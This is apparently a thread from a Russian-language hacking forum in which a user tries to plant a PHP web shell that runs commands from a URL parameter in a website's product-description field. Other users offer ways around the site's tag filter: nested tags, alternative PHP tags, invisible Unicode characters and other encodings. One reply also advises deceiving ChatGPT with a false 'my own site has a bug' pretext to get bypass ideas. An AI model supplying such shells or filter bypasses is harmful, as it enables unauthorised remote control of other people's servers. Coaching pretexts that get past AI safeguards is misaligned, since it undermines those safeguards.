• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос по заливу кода

kosh_e4ka

(L2) cache
Пользователь
Регистрация
29.10.2022
Сообщения
398
Реакции
146
Всем привет. Уверен что с этой проблемой столкнулся ни 1 десяток человек на этом форуме. При заливке такого кода вместо описания товара:
Код:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

Он превращается вот в такой код:

Код:
<p>
    <input type="TEXT" name="cmd" id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
</p><pre><!--?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?-->
</pre>


Из за чего шелл перестает работать. Как быть в такой ситуации? Обфускаторы не помогают. Залить супер простой шелл - тоже не помогает.
 
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>

<!--?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?-->
Правильно ли я понимаю, что скрипт-заливщик (через что заливаешь) ищет <? заменяя его на HTML комментарий <!--? , ну и соответственно ?> заменяет на ?--> ?
Как в том числе и разработчик могу предположить, что там либо тупо 2 регулярки (см.выше) на тупо поиск&замену, либо одна которая ищет <?.*?> и заменяет на <!--?.*?--> весь блок превращая в HTML коммент.

Если автор данных регулярок альтернативно одарённый и сделал их НЕрекурсивными, то можно "поиграться" с трюками типа передачи туда <?<?php при этом регулярка заменит например на <?<!--?php и таким образом понять логику регулярок на что они "триггерятся" и их логику. Ну или на минималках помучай <??> передай например и посмотри на что замена будет.

Попробуй несколько вариков с вложенностью и приходи сюда с ними, подумаем что за регулярка может лежать в основе такого search&replace , а я уверен что это тупо search&replace там, как и у всяких WAF.
За вариантами ещё можно к chatgpt зайти спросить, обосновав типа "в скрипте моего сайта какая-то ошибка..." и запросив "варианты для black box тестирования что там не так".
Или копай/гугли в сторону "WAF bypass", проблема примерно та же и логика обхода примерно такая же.
 
Правильно ли я понимаю, что скрипт-заливщик (через что заливаешь) ищет <? заменяя его на HTML комментарий <!--? , ну и соответственно ?> заменяет на ?--> ?
Как в том числе и разработчик могу предположить, что там либо тупо 2 регулярки (см.выше) на тупо поиск&замену, либо одна которая ищет <?.*?> и заменяет на <!--?.*?--> весь блок превращая в HTML коммент.

Если автор данных регулярок альтернативно одарённый и сделал их НЕрекурсивными, то можно "поиграться" с трюками типа передачи туда <?<?php при этом регулярка заменит например на <?<!--?php и таким образом понять логику регулярок на что они "триггерятся" и их логику. Ну или на минималках помучай <??> передай например и посмотри на что замена будет.

Попробуй несколько вариков с вложенностью и приходи сюда с ними, подумаем что за регулярка может лежать в основе такого search&replace , а я уверен что это тупо search&replace там, как и у всяких WAF.
За вариантами ещё можно к chatgpt зайти спросить, обосновав типа "в скрипте моего сайта какая-то ошибка..." и запросив "варианты для black box тестирования что там не так".
Или копай/гугли в сторону "WAF bypass", проблема примерно та же и логика обхода примерно такая же.
просто
Код:
<?php
меняется на
Код:
<!--?php </div-->
а вот
Код:
<?<?php
уже на
Код:
<!--?<?php</div-->
есть шансы? я вообще ничего не понимаю в коде и дипсик мне не смог помочь даже с свежей инфой о <?<?php поэтому пишу сюда
 
просто
Код:
<?php
меняется на
Код:
<!--?php </div-->
а вот
Код:
<?<?php
уже на
Код:
<!--?<?php</div-->
есть шансы? я вообще ничего не понимаю в коде и дипсик мне не смог помочь даже с свежей инфой о <?<?php поэтому пишу сюда
ну смотри, тут никакой мистики скорее всего нет, а тупой поиск+замена на той стороне, не важно чем регулярками или прям средствами поиска и замены в строках
соответственно ты хочешь избежать чтобы твой PHP код который обрамляется в <?php ...туткод... ?> превращался в HTML комментарии
если PHP там древний, меньше 7-ки тогда можно попробовать т.н. "альтрнативные PHP теги" типа <% ... %> типа ASP-like теги или даже <script language="php"> ... </script>
или попробовать "поиграться" с кодировками заливая разные unicode (какой-нибудь UTF-16BE - как сервер на это отреагирует?)
ну например <невидимый юникод символ тут?php - search+replace если ищет тупо <? то такое запросто пропустит (не совпадение на стадии search уже, нет replace соответственно), а PHP интерпретатор может тупо проигнорить невидимый символ и воспринять это как <?php стандартное.
ещё раз: задача сродни обходу WAF, методы абуза примерно те же - нестандартые подстановки, нестандартные PHP теги, нестандартные кодировки
и у тебя огромный плюс тут это интроспекция, то есть ты видишь во что оно на той стороне превращается
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх